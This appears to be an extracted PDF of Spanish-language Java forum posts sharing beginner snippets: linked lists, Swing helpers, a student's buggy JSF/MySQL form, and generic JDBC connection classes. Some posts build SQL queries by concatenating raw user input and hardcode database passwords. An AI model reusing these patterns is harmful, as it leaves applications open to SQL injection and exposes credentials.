 para poder  // hacer una lectura comoda (disponer del metodo

readLine()). archivo = new File ("LeeFichero.java"); fr = new FileReader (archivo); br = new BufferedReader(fr); 

// Lectura del fichero String linea; 

Page 77: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 77/169

while((linea=br.readLine())!=null) System .out.println(linea); 

} catch(Exception e){ 

e.printStackTrace(); }finally{ 

// En el finally cerramos el fichero, para

asegurarnos // que se cierra tanto si todo va bien como si salta

// una excepcion. try{ 

if( null != fr ){ fr.close(); 

} }catch (Exception e2){ 

e2.printStackTrace(); } 

} } 

Estructura de datos java (Listas

simplemente enlazadas) Primer aporte 

Buenas madrugadas a todos, aquí dejo un simple aporte, espero no este posteado ya, yespero les sea muy útil, saludos!

/*

* Lista Simplemente enlazada.

*

*/  

/** * * @author Pain*/  //Clase Nodo. Utiliza el enlace llamado nodoDer o nodo

derecho y el valor a introducir.  public class Nodo { 

Nodo nodoDer; int dato; 

 public Nodo(int dato) { this.dato = dato; 

Page 78: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 78/169

  this.nodoDer = null; } 

/** Clase de Lista enlazada y metodos de agregar al final y 

borrar del mismo, asi como mostrar tamaño y visualizar lista.

*

*/  

import javax.swing.JOptionPane; 

/** * * @author Pain*/  

 public class ListaS {  private Nodo primero;  private Nodo ultimo;  private int tamano; 

 public ListaS() { this.primero = null; this.ultimo = null; this.tamano = 0; 

//Metodo utilizado para denotar que la lista se encuentravacia. 

 public  boolean siVacio() { return (this.primero == null); 

//Metodo para agregar al final de la lista.  public ListaS addLast(int dato) { 

if(siVacio()) { Nodo nuevo = new Nodo(dato); primero = nuevo; 

ultimo = nuevo; nuevo.nodoDer = nuevo; 

} else { 

Nodo nuevo = new Nodo(dato); nuevo.nodoDer = null; ultimo.nodoDer = nuevo; ultimo = nuevo; 

Page 79: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 79/169

  } this.tamano++; return this; 

//Metodo para borrar al final de la lista.  public Nodo deleteLast() { 

Nodo eliminar = null; if(siVacio()) { 

JOptionPane.showMessageDialog(null, "La lista seencuentra vacia"); 

return null; } if(primero == ultimo) { 

primero = null; ultimo = null; 

} else { 

Nodo actual = primero; while(actual.nodoDer != ultimo) { 

actual = actual.nodoDer; } eliminar = actual.nodoDer; actual.nodoDer = null; 

ultimo = actual; } this.tamano--; 

return eliminar; } 

//Metodo que imprime el tamaño de la lista.  public void  tamano() { 

JOptionPane.showMessageDialog(null, "El tamaño es:\n " + this.tamano); 

//Metodo que imprime la lista y los valores ingresados.  public void  imprimir() { 

if(tamano != 0) { Nodo temp = primero; String str = ""; for(int i = 0; i < this.tamano; i++) { 

str = str + temp.dato + "\n"; temp = temp.nodoDer; 

} JOptionPane.showMessageDialog(null, str); 

Page 80: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 80/169

  } } 

Espero que de alguna manera les sea de utilidad este código. Saludos Comunidad.

Con Generics podrias manejar listas de un cierto tipo de objeto. Y si el método de tamano()devuelve un int con el tamaño en vez de imprimir un diálogo, entonces ya no depende deSwing y se puede usar en aplicaciones sin interfaz gráfica o en web, etc.

En la clase Nodo, la propiedad nodoDer debería ser privada y la clase debe tener accesorespara modificarlo. La propiedad dato en vez de int puede ser genérica, algo asi:

 public class Nodo<T> {  private Nodo<T> sig;  private T dato; 

 public Nodo(T data) { dato = data; 

 public Nodo(T data, Nodo<T> sig) { dato = data; this.sig = sig; 

 public void  setSiguiente(Nodo<T> sig) { this.sig = sig; 

}  public Nodo<T> getSiguiente() { 

return sig; } 

 public T getDato() { return dato; 

De igual manera la lista la haces genérica para poder manejar listas que almacenen datos decualquier clase.

como se guardan eliminar y borran datos en netbeans 6.5 y MySQL 

Submitted by carolina salced... on Dom, 05/24/2009 - 18:44.

Page 81: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 81/169

Hola soy de colombia estudio analisis y diseño de sistemas de informacion tengo una dudano se por que me ha generado error el siguiente codigo me puden ayudar por favor es parala entrega de mi proyecto y no he podido avanzar ya esta los enlaces hechos en la base dedatos trabajo con mysql y bueno no me genera error pero tampoco hace el proceso y cuandovoy a guardar no lo hace

 /** To change this template, choose Tools | Templates* and open the template in the editor.*/ 

package proyecto;

import com.sun.rave.web.ui.appbase.AbstractPageBean;import com.sun.webui.jsf.component.Alert;import com.sun.webui.jsf.component.Button;import com.sun.webui.jsf.component.Calendar;

import com.sun.webui.jsf.component.Form;import com.sun.webui.jsf.component.Label;import com.sun.webui.jsf.component.TextField;import javax.faces.FacesException;import javax.faces.event.ValueChangeEvent;import javax.swing.JTable;import javax.swing.table.DefaultTableModel;

 /***

Page bean that corresponds to a similarly named JSP page. This* class contains component definitions (and initialization code) for* all components that you have defined on this page, as well as* lifecycle methods and event handlers where you may add behavior* to respond to incoming events.

** @version personal.java* @version Created on 1/04/2009, 07:20:03 AM* @author C.A.S.A*/ 

public class personal extends AbstractPageBean { // 

 /***

Page 82: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 82/169

Automatically managed component initialization. WARNING: * This method is automatically generated, so any user-specified code inserted* here is subject to being replaced.

*/ 

private void _init() throws Exception {}private TextField nombre = new TextField();

public TextField getNombre() {return nombre;}

public void setNombre(TextField tf) {this.nombre = tf;}

private TextField apellido = new TextField();

public TextField getApellido() {return apellido;}

public void setApellido(TextField tf) {this.apellido = tf;}private TextField telefono = new TextField();

public TextField getTelefono() {return telefono;}

public void setTelefono(TextField tf) {this.telefono = tf;}private TextField direccion = new TextField();

public TextField getDireccion() {return direccion;

}

public void setDireccion(TextField tf) {this.direccion = tf;}private TextField cargo = new TextField();

Page 83: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 83/169

public TextField getCargo() {return cargo;}

public void setCargo(TextField tf) {

this.cargo = tf;}private Calendar fecha_ingreso = new Calendar();

public Calendar getFecha_ingreso() {return fecha_ingreso;}

public void setFecha_ingreso(Calendar c) {this.fecha_ingreso = c;}

private Calendar fecha_salida = new Calendar();

public Calendar getFecha_salida() {return fecha_salida;}

public void setFecha_salida(Calendar c) {this.fecha_salida = c;}private TextField tipo_capacitacion = new TextField();

public TextField getTipo_capacitacion() {return tipo_capacitacion;}

public void setTipo_capacitacion(TextField tf) {this.tipo_capacitacion = tf;}private Label label2 = new Label();

public Label getLabel2() {return label2;

}

public void setLabel2(Label l) {this.label2 = l;}private Label label3 = new Label();

Page 84: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 84/169

public Label getLabel3() {return label3;}

public void setLabel3(Label l) {

this.label3 = l;}private Label label4 = new Label();

public Label getLabel4() {return label4;}

public void setLabel4(Label l) {this.label4 = l;}

private Label label5 = new Label();

public Label getLabel5() {return label5;}

public void setLabel5(Label l) {this.label5 = l;}private Label label6 = new Label();

public Label getLabel6() {return label6;}

public void setLabel6(Label l) {this.label6 = l;}private Label label7 = new Label();

public Label getLabel7() {return label7;

}

public void setLabel7(Label l) {this.label7 = l;}private Label label8 = new Label();

Page 85: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 85/169

public Label getLabel8() {return label8;}

public void setLabel8(Label l) {

this.label8 = l;}private Label label9 = new Label();

public Label getLabel9() {return label9;}

public void setLabel9(Label l) {this.label9 = l;}

private Button guardar = new Button();

public Button getGuardar() {return guardar;}

public void setGuardar(Button b) {this.guardar = b;}private Button consulta2 = new Button();

public Button getConsulta2() {return consulta2;}

public void setConsulta2(Button b) {this.consulta2 = b;}private Form form2 = new Form();

public Form getForm2() {return form2;

}

public void setForm2(Form f) {this.form2 = f;}private TextField id_empleado2 = new TextField();

Page 86: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 86/169

public TextField getId_empleado2() {return id_empleado2;}

public void setId_empleado2(TextField tf) {

this.id_empleado2 = tf;}

 // 

 /***

Construct a new Page bean instance.

*/ 

public personal() {}

 /***

Callback method that is called whenever a page is navigated to,* either directly via a URL, or indirectly via page navigation.* Customize this method to acquire resources that will be needed* for event handlers and lifecycle methods, whether or not this* page is performing post back processing.

**

Note that, if the current request is a postback, the property* values of the components do not represent any* values submitted with this request. Instead, they represent the* property values that were saved for this view when it was rendered.

*/ @Override

public void init() { // Perform initializations inherited from our superclasssuper.init(); // Perform application initialization that must complete // *before* managed components are initialized // TODO - add your own initialiation code here

Page 87: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 87/169

 //  // Initialize automatically managed components // *Note* - this logic should NOT be modifiedtry {_init();

} catch (Exception e) {log("personal Initialization Failure", e);throw e instanceof FacesException ? (FacesException) e: new FacesException(e);}

 //  // Perform application initialization that must complete // *after* managed components are initialized // TODO - add your own initialization code here}

 /***

Callback method that is called after the component tree has been* restored, but before any event processing takes place. This method* will only be called on a postback request that* is processing a form submit. Customize this method to allocate* resources that will be required in your event handlers.

*/ @Override

public void preprocess() {}

 /***

Callback method that is called just before rendering takes place.* This method will only be called for the page that* will actually be rendered (and not, for example, on a page that* handled a postback and then navigated to a different page). Customize* this method to allocate resources that will be required for rendering

* this page.

*/ @Overridepublic void prerender() {}

 /***

Page 88: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 88/169

Callback method that is called after rendering is completed for

* this request, if init() was called (regardless of whether* or not this was the page that was actually rendered). Customize this

* method to release resources acquired in the init(),* preprocess(), or prerender() methods (or

* acquired during execution of an event handler).

*/ @Overridepublic void destroy() {}

public void checkbox1_processValueChange(ValueChangeEvent event) {}

public String consulta2_action() {

 // TODO: Process the action. Return value is a navigation // case name where null will return to the same page.return "case2";}private TextField area1 = new TextField();

public TextField getArea1() {return area1;}

public void setArea1(TextField tf) {

this.area1 = tf;}

private Alert alert2 = new Alert();

public Alert getAlert2() {return alert2;}

public void setAlert2(Alert a) {this.alert2 = a;

}private Alert alert1 = new Alert();

public Alert getAlert1() {return alert1;}

Page 89: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 89/169

public void setAlert1(Alert a) {this.alert1 = a;}

public String guardar_action() {

JTable dat=new JTable();DefaultTableModel j=(DefaultTableModel) dat.getModel();dat.setModel(j); j.setColumnCount(7); j.setRowCount(1); j.setValueAt(id_empleado2.getText(), 0, 0); j.setValueAt(nombre.getText(), 0, 1); j.setValueAt(apellido.getText(), 0, 2); j.setValueAt(telefono.getText(), 0, 3); j.setValueAt(direccion.getText(), 0, 4);

 j.setValueAt(cargo.getText(), 0, 5); j.setValueAt(fecha_ingreso.getText(), 0, 6); j.setValueAt(fecha_salida.getText(), 0, 7); j.setValueAt(tipo_capacitacion.getText(), 0, 8);

if(comprobar()){

 //desactivo el boton de guardar

 //creo la conexion a la base de datosconection c=new conection("localhost/porcinos","root","123456");

 //guardo la consulta en un string y le concateno el valor del jtextfield junto con los de latablaString consulta="INSERT INTO porcinos.personal ('id_empleado', 'nombre', 'apellido','telefono', 'direccion', 'cargo', 'fecha_ingreso','fecha_salida','tipo_capacitacion')VALUES('"+Integer.parseInt((String)j.getValueAt(0, 0))+"','"+(String)j.getValueAt(0,1)+"','"+(String)j.getValueAt(0, 2)+"','"+Integer.parseInt((String)j.getValueAt(0,3))+"','"+(String)j.getValueAt(0, 4)+"','"+(String)j.getValueAt(0,5)+"','"+(String)j.getValueAt(0,6)+"','"+(String)j.getValueAt(0,7)+"','"+(String)j.getValueAt(0, 8)+"')";

 //lo debemos atrapar dentro de un TRY por que es una exception marcada.

try{ //creamos el Statement para hacer consultas java.sql.Statement st=c.conection().createStatement(); /*aqui ejecutamos la consulta y la comprobamos ya que el metodo executeUpdate mandaun int delas fias afectadas*/ 

if 

Page 90: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 90/169

(st.executeUpdate(consulta)==1){ //solo despliego un cuadro texto para dar avisoalert2.setVisible(false);alert1.setVisible(true);

id_empleado2.setText("");nombre.setText("");apellido.setText("");telefono.setText("");direccion.setText("");cargo.setText("");fecha_ingreso.setText("");fecha_salida.setText("");tipo_capacitacion.setText("");

}

else{alert2.setVisible(true);}}

catch(

 java.sql.SQLException e){e.printStackTrace();alert2.setVisible

(true);alert1.setVisible

(false);}}return null;}

public String button1_action() {

 // TODO: Process the action. Return value is a navigation // case name where null will return to the same page.return "case1";}

public String button4_action() { // TODO: Process the action. Return value is a navigation // case name where null will return to the same page.

Page 91: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 91/169

return null;}

public String button5_action() { // TODO: Process the action. Return value is a navigation

 // case name where null will return to the same page.return null;}

public String INICIO_action() { // TODO: Process the action. Return value is a navigation // case name where null will return to the same page.return "case3";}

private boolean comprobar() {

conection c=new conection("localhost/porcinos","root","123456"); //guardo la consulta en un string y le concateno el valor del jtextfield junto con los datos dela tabla //en esta consulta SQL deseo saber si ya existe tanto la matricula como el nombreString consulta="SELECT * FROM porcinos.personal WHERE(id_empleado='"+id_empleado2.getText()+"') AND(id_empleado='"+id_empleado2.getText()+"')"; //lo debemos atrapar dentro de un TRY por que es una exception marcada.try{ //creamos el Statement para hacer consultas

 java.sql.Statement st=c.conection().createStatement(); java.sql.ResultSet rs=st.executeQuery(consulta); //voy a comprobar si ya existe un registro.if(rs.next()){ //solo despliego un cuadro texto para dar avisoalert2.setVisible(true);alert1.setVisible(false);return false;}else{ //aqui verificare si ya Existe la Matriculaconsulta="SELECT * FROM porcinos.personal WHERE

id_empleado='"+id_empleado2.getText()+"'";rs=st.executeQuery(consulta);if(rs.next()){ //mando un mensaje en pantallaalert2.setVisible(true);alert1.setVisible(false);return false;}else{ //aqui verificare si ya Existe el Nombre

Page 92: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 92/169

consulta="SELECT * FROM porcinos.personal WHEREid_empleado='"+id_empleado2.getText()+"'";

rs=st.executeQuery(consulta);if(rs.next()){

 //mando un mensaje en pantallaalert2.setVisible(true);alert1.setVisible(false);return false;}else{return true;}}}

}catch(java.sql.SQLException e){e.printStackTrace();return false;}}

}

Gracias espero respuestas es urgente

Clase generica de Conexion a Bases dedatos Oracle

Hace tiempo publique un comentario para una conexion con una clase generica utilizandomysql ahora he logrado conectarme a una base de datos de oracle 10g mediante una clasegenerica de conexion

A continuacion les comparto el codigo:

package resources;

 /***************************************** ** @author Marco A. Trejo Lemus ******************************************/ 

Page 93: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 93/169

import java.sql.*;

public class GenericaDb {

public String driver, url, ip, bd, usr, pass;

public Connection conexion;

public GenericaDb(String ip, String bd, String usr, String pass) {driver = "oracle.jdbc.driver.OracleDriver";this.bd = bd;this.usr = usr;this.pass = pass;url = new String("jdbc:oracle:thin:@" + ip + ":1521:" + bd);try {Class.forName(driver).newInstance();conexion = DriverManager.getConnection(url, usr, pass);

System.out.println("Conexion a Base de Datos " + bd + " Ok");} catch (Exception exc) {System.out.println("Error al tratar de abrir la base de Datos" + bd + " : " + exc);}}

public Connection getConexion() {return conexion;}

public Connection CerrarConexion() throws SQLException {

conexion.close();conexion = null;return conexion;}} //fin de la clase

Utilizar la clase Generica de conexion a bases de datos Oracle

Esta es una clase generica que realiza una conexion a bases de datos oracle, la cual estadeclarada dentro del paquete resources, recibe cuatro parametros:String ip, String bd, String usr, String pass, los cuales se pueden enviar desde cualquier otra

clase en donde se manda llamar de la siguiente manera:

Ejemplo

GenericaDb conn = new GenericaDb("192.168.54.2","XE","developer","4dm1n1str");

Y listo el mensaje que nos debe de mostrar segun lo expuesto es:

Page 94: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 94/169

Conexion a Base de Datos XE Ok 

"Cual quier reto por dificil que sea, si se puede lograr, si realmente lo intentamos"

Saludos a toda la comunidad de desarrollo!

Marco

Fábrica de ventanas 

Este código lo podemos usar en nuestro menú principal para crear las ventanas de laaplicación a partir del nombre del action que este asignado a un menú o botón

 private class VentanaAction extends  AbstractAction {  private static final long serialVersionUID =

1L; 

VentanaAction(String name, int key) { super(name); putValue(MNEMONIC_KEY, key); 

 private void  crearVentana( AbstractAction action) { 

try { JFrame form = (JFrame) 

Class.forName( "presentacion

." + action.getValue(NAME) + "Form") .newInstance(

); form.setVisible(true); 

} catch (Exception e) { e.printStackTrace(); 

} } 

 public void  actionPerformed( ActionEvent e) { 

crearVentana(this); } 

Nuestro action puede estar declarado así:private VentanaAction consultasAction = new VentanaAction("Consultas",KeyEvent.VK_C);

Page 95: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 95/169

Con esto al presionar alt + c se instanciara la clase presentacion.ConsultasForm que heredade JFrame.

Métodos para mostrar mensajes 

Métodos sencillos para mostrar un mensaje de advertencia y otro para confirmar con si ono.

 protected  void  mostrarMensaje(String mensaje) { JOptionPane.showMessageDialog(this, mensaje,

"Advertencia",JOptionPane.WARNING_MESSAGE); 

 protected   boolean confirmarMensaje(String mensaje) { return

 JOptionPane

.showConfirmDialog(this

,mensaje, "Confirmar",JOptionPane.YES_NO_OPTION) ==

0; } 

Código para habilitar/deshabilitar

JTextFields 

Con este método podemos habilitar o deshabilitar uno o varios JTextFields además deasignar otros colores

 protected  void  habilitarControles(Component component,  boolean b) { 

if (component instanceof JTextField ) { JTextField  text = ((JTextField ) 

component); text.setEnabled(b); if (b) { 

text.setDisabledTextColor(new Color(0, 0, 0)); 

text.setBackground(new Color(255, 255, 255)); 

} else { text.setDisabledTextColor(new 

Color(0, 40, 240)); text.setBackground(new 

Color(240, 240, 240)); } 

Page 96: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 96/169

  } else { if (component instanceof Container) { 

for (Component c :((Container) component).getComponents()) { 

habilitarControles(c,

b);  } } 

} } 

Código para limpiar JTextFields 

Con este método podemos limpiar uno o varios JTextFields

 protected  void  limpiar(Component component) { if (component instanceof JTextField ) { 

JTextField  text = (JTextField ) component; 

text.setText(""); } else { 

if (component instanceof Container) { for (Component c :

((Container) component).getComponents()) { limpiar(c); 

} } 

} } 

Código para convertir flechas y enter en

tab 

Con este código al presionar enter y flecha abajo se hará un tab. También al presionar shift+ enter y flecha arriba se hará un shift + tab.

Set< AWTKeyStroke> teclasTab = new HashSet< AWTKeyStroke>(); 

teclasTab.add( AWTKeyStroke.getAWTKeyStroke(KeyEvent.VK_ENTER, 0)); 

teclasTab.add( AWTKeyStroke.getAWTKeyStroke(KeyEvent.VK_DOWN, 0)); 

teclasTab.add( AWTKeyStroke.getAWTKeyStroke(Ke

Page 97: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 97/169

yEvent.VK_TAB, 0)); getContentPane().setFocusTraversalKeys( 

KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS, teclasTab); 

Set< AWTKeyStroke> teclasShiftTab = new HashSet< AWTKeyStroke>(); 

teclasShiftTab.add( AWTKeyStroke.getAWTKeyStroke(KeyEvent.VK_ENTER,

InputEvent.SHIFT_DOWN_MASK)); teclasShiftTab.add( AWTKeyStroke.getAWTKeyStro

ke(KeyEvent.VK_UP, 0)); teclasShiftTab.add( AWTKeyStroke.getAWTKeyStro

ke(KeyEvent.VK_TAB,InputEvent.SHIFT_DOWN_MASK)); 

getContentPane().setFocusTraversalKeys( KeyboardFocusManager.BACKWARD

_TRAVERSAL_KEYS, teclasShiftTab); 

Código para centrar JFrame 

Agrega este código a tu Frame y luego llamas el método centrarVentana en el eventowindowOpened

 protected  void  this_windowOpened( WindowEvent e) { centrarVentana(); 

 private void  centrarVentana() { // Se obtienen las dimensiones en pixels de

la pantalla. Dimension pantalla =

Toolkit.getDefaultToolkit().getScreenSize(); 

// Se obtienen las dimensiones en pixels de

la ventana. Dimension ventana = getSize(); 

// Una cuenta para situar la ventana en el

centro de la pantalla. setLocation((pantalla.width - ventana.width) 

/ 2,(pantalla.height -

ventana.height) / 2); } 

Page 98: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 98/169

Código para arrastrar JFrame con el

mouse 

En los eventos mousePressed y mouseDragged del JFrame agrega este código

import java.awt.MouseInfo; import java.awt.Point; 

 private int x;  private int y; 

 protected  void  this_mousePressed( MouseEvent e) { x = e.getX(); y = e.getY(); 

}  protected  void  this_mouseDragged( MouseEvent e) { 

Point point = MouseInfo.getPointerInfo().getLocation(); 

setLocation(point.x - x, point.y - y); } 

JTextField Númerico 

Crea un clase NumericDocument con el siguiente código

 package presentacion; 

import javax.swing.text.AttributeSet; import javax.swing.text.BadLocationException; import javax.swing.text.PlainDocument; 

 public class NumericDocument extends PlainDocument {  private static final long serialVersionUID = 1L; 

 public void  insertString(int offset, String str, AttributeSet a) 

throws BadLocationException { if (str == null) { 

return; } StringBuffer buf = new 

StringBuffer(str.length()); for (int i = 0; i < str.length(); i++) { 

Page 99: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 99/169

if (Character.isDigit(str.charAt(i))) { 

buf.append(str.charAt(i)); } else { 

java.awt.Toolkit.getDefaultTo

olkit().beep();  } } super.insertString(offset, buf.toString(),

a); } 

Ahora solo hay que asignarselo al JTextField así:numeroText.setDocument(new NumericDocument());

Panel con imagen redimensionable 

Aquí los comparto el código que use para incluir imagenes en un panel

 package presentacion; 

import java.awt.Graphics; import java.awt.Image; 

import javax.swing.Icon; import javax.swing.ImageIcon; import javax.swing.JPanel; 

 public class FondoPanel extends JPanel {  private static final long serialVersionUID = 1L;  private Image image = null;  private Image intermediateImage = null;  private Icon icon; 

 public FondoPanel() { super(); 

 public void  paintComponent(Graphics g) { super.paintComponent(g); if (getImage() != null) { 

if (intermediateImage == null ||

intermediateImage.getWidth(null) != getWidth() 

Page 100: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 100/169

||intermediateImage.getHeight(null) != getHeight()) { 

intermediateImage =createImage(getWidth(), getHeight()); 

Graphics gImg =

intermediateImage.getGraphics(); gImg.drawImage(getImage(), 0,0, getWidth(), getHeight(), null); 

} g.drawImage(intermediateImage, 0, 0,

null); } 

 private Image getImage() { return image; 

 private void  setImage(Image image) { this.image = image; 

 public Icon getIcon() { return icon; 

 public void  setIcon(Icon icon) { this.icon = icon; 

setImage(((ImageIcon) icon).getImage()); } 

Clase generica de Conexion a Bases de

datos 

Una clase Generica de conexion a bases de datos

Una clase generica que realiza una conexion a bases de datos mysql, la cual esta declaradadentro del paquete conexion, recibe cuatro parametros:String ip, String bd, String usr, String pass, los cuales se pueden enviar desde otra clase endonde se mande llamar... ejemplo

GenericaDb pnbd = new GenericaDb("192.168.54.2","listadb","admin","4dm1n1str");

Page 101: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 101/169

despues se puede acceder a los elementos de la clase de la siguiente forma:

 //Para obtener la conexionConnexion conexion = qpn.getConexion();

package conexion;

 /***************************************** ** @author Marco A. Trejo Lemus ** 17/06/2008 09:47:01 AM *****************************************/ 

import java.sql.*;

public class GenericaDb

{public String driver,url,ip,bd,usr,pass;public Connection conexion;

public GenericaDb(String ip, String bd, String usr, String pass){ driver="com.mysql.jdbc.Driver";this.bd = bd;this.usr = usr;this.pass = pass;url = new String("jdbc:mysql://"+ip+"/"+bd);try

{ Class.forName(driver).newInstance();conexion=DriverManager.getConnection(url,usr,pass);System.out.println("Conexion a Base de Datos "+bd+" Ok");}

catch (Exception exc){ System.out.println("Error al tratar de abrir la base de Datos"+bd+" : "+exc);}}

public Connection getConexion()

{ return conexion;}

public Connection CerrarConexion() throws SQLException{ conexion.close(); conexion = null;return conexion;}

Page 102: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 102/169

} //fin de la clasePublicado por Marco Antonio Trejo Lemus en 9:21 0 comentariosEtiquetas: clases, genericas, java jdbcmartes 10 de junio de 2008

Hace tiempo publique un comentario para una conexion con una clase generica utilizandomysql ahora he logrado conectarme a una base de datos de oracle 10g mediante una clasegenerica de conexion

A continuacion les comparto el codigo:

package resources;

 /***************************************** ** @author Marco A. Trejo Lemus *

*****************************************/ 

import java.sql.*;

public class GenericaDb {

public String driver, url, ip, bd, usr, pass;public Connection conexion;

public GenericaDb(String ip, String bd, String usr, String pass) {

driver = "oracle.jdbc.driver.OracleDriver";this.bd = bd;this.usr = usr;this.pass = pass;url = new String("jdbc:oracle:thin:@" + ip + ":1521:" + bd);try {Class.forName(driver).newInstance();conexion = DriverManager.getConnection(url, usr, pass);System.out.println("Conexion a Base de Datos " + bd + " Ok");} catch (Exception exc) {System.out.println("Error al tratar de abrir la base de Datos" + bd + " : " + exc);

}}

public Connection getConexion() {return conexion;}

Page 103: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 103/169

public Connection CerrarConexion() throws SQLException {conexion.close();conexion = null;return conexion;}

} //fin de la clase

Utilizar la clase Generica de conexion a bases de datos Oracle

Esta es una clase generica que realiza una conexion a bases de datos oracle, la cual estadeclarada dentro del paquete resources, recibe cuatro parametros:String ip, String bd, String usr, String pass, los cuales se pueden enviar desde cualquier otraclase en donde se manda llamar de la siguiente manera:

Ejemplo

GenericaDb conn = new GenericaDb("192.168.54.2","XE","developer","4dm1n1str");

Y listo el mensaje que nos debe de mostrar segun lo expuesto es:

Conexion a Base de Datos XE Ok 

"Cual quier reto por dificil que sea, si se puede lograr, si realmente lo intentamos"

Saludos a toda la comunidad de desarrollo!

Cargar una imagen en un JPanel ennetbeans 

En Mi Caso Yo Lo Que Hago Es Dibujar en El Panel Mediante el metodopaintComponent(Graphics g) como se ve acontinuacion

public void paintComponent(Graphics g) {Dimension tamanio = getSize();ImageIcon fondo = new ImageIcon(getClass().getResource("imagenes/Bienvenida.png"));g.drawImage(fondo.getImage(), 0, 0, tamanio.width, tamanio.height, null);

setOpaque(false);super.paintComponent(g);}

espero te sirva

Que tal amigos.. excelente foro..!!Tengo la siguiente consulta, necesito cargar imagenes en un JPanel medinate el

Page 104: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 104/169

JFileChooser(), ya cargo la imagen, pero cuando cargo una nueva... no muestra la nueva..se queda la q en un principio se cargo, estoy pensando que el error, pueda ser en lasllamadas a los métodos.. agrego el código..JFileChooser fc = new JFileChooser();fc.setFileFilter(new FileNameExtensionFilter("Archivos de imagen", "jpg", "jpeg", "png",

"gif")); jTextPane2.setText("Cargando Imágen...");int opcion = fc.showDialog(this, "Abrir");

if (opcion == JFileChooser.APPROVE_OPTION){File file = fc.getSelectedFile();ruta=file.getPath();imagen= Toolkit.getDefaultToolkit().getImage(ruta);MediaTracker tracker = new MediaTracker( this );

tracker.addImage( imagen,1 );

try {if( !tracker.waitForID( 1,100000 ) ) {System.out.println( "Error en la carga de la imagen" );System.exit( 1 );}} catch( InterruptedException e ) {System.out.println( e );} //this.mostrarImagen(file);

this.mostrarImagen(file);this.cargaDirectorio(file.getParent()); jTextPane2.setText("Imagén Cargada");

try {if( !tracker.waitForID( 1,100000 ) ) {System.out.println( "Error en la carga de la imagen" );System.exit( 1 );}} catch( InterruptedException e ) {System.out.println( e );

}

System.out.println("La ruta de la Imagen es:"+ruta);w=imagen.getWidth(this);h=imagen.getHeight(this);System.out.println("Ancho"+this.w);System.out.println("Alto"+h);System.out.println("Cantidad de Pixels are"+w*h);}

Page 105: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 105/169

private void mostrarImagen(File file){PanelImagen imgPanel = new PanelImagen(file, this.pnlImagen.getWidth(),this.pnlImagen.getHeight());this.pnlImagen.add(imgPanel);

System.out.println("Ancho"+this.w);System.out.println("Alto"+h);System.out.println("Cantidad de Pixels are"+w*h);System.out.println("hola");this.repaint();}

private void cargaDirectorio(String folder){File dir = new File(folder);if (dir.isDirectory())

{this.fotos = dir.listFiles(new FilenameFilter(){

public boolean accept(File file, String nombre){if (nombre.endsWith(".jpg") ||nombre.endsWith(".jpeg") ||nombre.endsWith(".gif") ||nombre.endsWith(".png")){

return true;}return false;}});}for (int i = 0; i < fotos.length; i++){System.out.println(fotos[i]);

}}

como veran.. esas lineas son las q empleo para cargar las imagenes.. hay unas líneas deimpresion a pantalla q las ocupe como prueba..saludos

Hola, hace un momento estuve explorando el contenido de la página e hice mi primercomentario, ahora expongo mi primer aporte espero les sea útil.

Page 106: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 106/169

Para mostrar una imagen dentro de un panel, búscando en la red me encontre con lasiguiente libreria de Swing, llamada SwingX, misma que pueden descargar desde elsiguiente enlace http://swinglabs.org/downloads.jsp ; esta libreria contiene algunoscomponentes que estoy seguro les va a ser de mucha utilidad (Si usan el ide netbeanspodran arrastrar los componentes hacia su área de trabajo). Es dentro de esta colección de

componentes donde se encuentra el JXImagePanel el cual nos permite insertar en sucontenedor una imagen de fondo.

Para ello necesitan:- Descargar y guardar en su equipo la libreria SwingX de enlace:http://swinglabs.org/downloads.jsp ---------AGREGAR LA LIBRERIA -------------------------------------------------------------------- Abrir el ide del netbeans- Ir a la opción "Tools" de la barra del menú, dar clic.- Seleccionar la opción "Palette" de menú (Se mostrara otro submenú) y

